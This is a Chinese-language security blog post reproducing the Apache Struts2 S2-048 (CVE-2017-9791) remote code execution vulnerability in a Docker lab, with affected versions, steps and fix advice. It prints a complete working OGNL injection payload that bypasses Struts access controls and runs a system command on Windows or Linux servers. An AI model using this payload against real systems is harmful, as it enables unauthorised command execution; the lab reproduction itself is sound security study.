记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Apache Struts2--048远程代码执行漏洞复现

2020-10-18 11:23


网安引领时代,弥天点亮未来   






 


0x00漏洞简述

2017年7月7日,Apache Struts发布最新的安全公告,漏洞编号为CVE-2017-9791(S2-048)该漏洞存在 于Struts2和Struts1一个 Showcase 插件Action Message类中,通过构建不可信的输入实现远程代码执行



0x01影响版本


Apache Struts 2.3.x系列中的Showcase插件



0x02漏洞复现


虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/hello.action

  

2、访问漏洞地址

http://192.168.60.131:8080/integration/saveGangster.action

3、通过抓包修改参数值为payload,发现成功执行了 OGNL 表达式。

payload命令执行

%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='+++++++++++++++++++++++++++id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}&description=10234

下面将通过Python脚本进行漏洞扫描和漏洞利用。

漏洞扫描

漏洞利用

工具验证加利用

1、验证漏洞

2、命令执行




0x03修复建议


1、升级 建议升级到最新版本

2、根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包



0x04参考链接


http://vul.tidesec.com



   关注弥天安全实验室微信公众平台回复“struts2”获取脚本和工具!




 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,
予以风动,
必降弥天之润!


   弥  天

安全实验室




知识来源: https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247485855&idx=1&sn=4c3840880982508d58d075151959ced5

阅读:5471 | 评论:0 | 标签:漏洞 远程 执行

想收藏或者和大家分享这篇好文章→复制链接地址

“Apache Struts2--048远程代码执行漏洞复现”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云